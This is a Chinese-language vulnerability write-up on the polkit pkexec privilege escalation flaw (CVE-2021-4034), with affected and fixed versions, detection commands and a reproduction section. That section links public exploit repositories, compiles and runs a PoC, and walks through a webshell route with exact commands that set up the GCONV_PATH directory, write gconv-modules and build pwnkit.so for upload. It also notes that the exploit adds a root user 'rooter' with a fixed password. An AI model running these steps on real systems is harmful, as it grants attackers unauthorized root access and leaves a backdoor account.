0x01 漏洞介绍
polkit 的 pkexec 实用程序中存在一个本地权限提升漏洞。当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限。
0x02 影响版本
- 2009年5月至今发布的所有 Polkit 版本
注:Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在Polkit的Linux系统均受影响。
Debain stretch policykit-1 < 0.105-18+deb9u2
Debain buster policykit-1 < 0.105-25+deb10u1
Debain bookworm, bullseye policykit-1 < 0.105-31.1
Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1
Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)
Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2)
Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 < 0.105-20ubuntu0.18.04.6)
Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 < 0.105-14.1ubuntu0.5+esm1)
Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 < 0.105-4ubuntu3.14.04.6+esm1)
CentOS 6 polkit < polkit-0.96-11.el6_10.2
CentOS 7 polkit < polkit-0.112-26.el7_9.1
CentOS 8.0 polkit < polkit-0.115-13.el8_5.1
CentOS 8.2 polkit < polkit-0.115-11.el8_2.2
CentOS 8.4 polkit < polkit-0.115-11.el8_4.2
不受影响版本
CentOS:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1
0x03 工具
https://github.com/arthepsy/CVE-2021-4034
https://github.com/Rvn0xsy/CVE-2021-4034
0x04 漏洞复现
4.1 漏洞检测
4.1.1 ubuntu
dpkg -l policykit-1
4.1.2 centos
rpm -qa polkit
4.2 漏洞利用
大多数系统上更新 polkit 将修补该漏洞,因此您将获得使用情况并且程序将退出
4.2.1 本地提权
查看当前权限
whoami
使用gcc编译,编译之后执行脚本
gcc cve-2021-4034-poc.c -o 111
./111
gcc test.c -o 111
4.2.2 webshell提权
分为两种条件,目标机器上有gcc和目标机器上没有gcc,如果存在gcc,本地搭建一个和目标机器一样的系统编译即可
如果目标环境没有gcc,可手动执行命令,并在本地编译pwnkit.so。
创建利用环境 - 目标机器
mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'
mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules
编译pwnkit.so 与 pkexec - 本地
mkdir pwnkit
gcc pwnkit.so.c -o pwnkit/pwnkit.so -lcrypt -shared -fPIC
gcc pkexec.c -o pkexec
执行Exploit
- 将pwnkit文件夹上传到目标机器
- 将pkexec上传到目标机器
- 执行pkexec
默认添加用户名rooter,密码Hello@World
漏洞修复之后,提权显示这个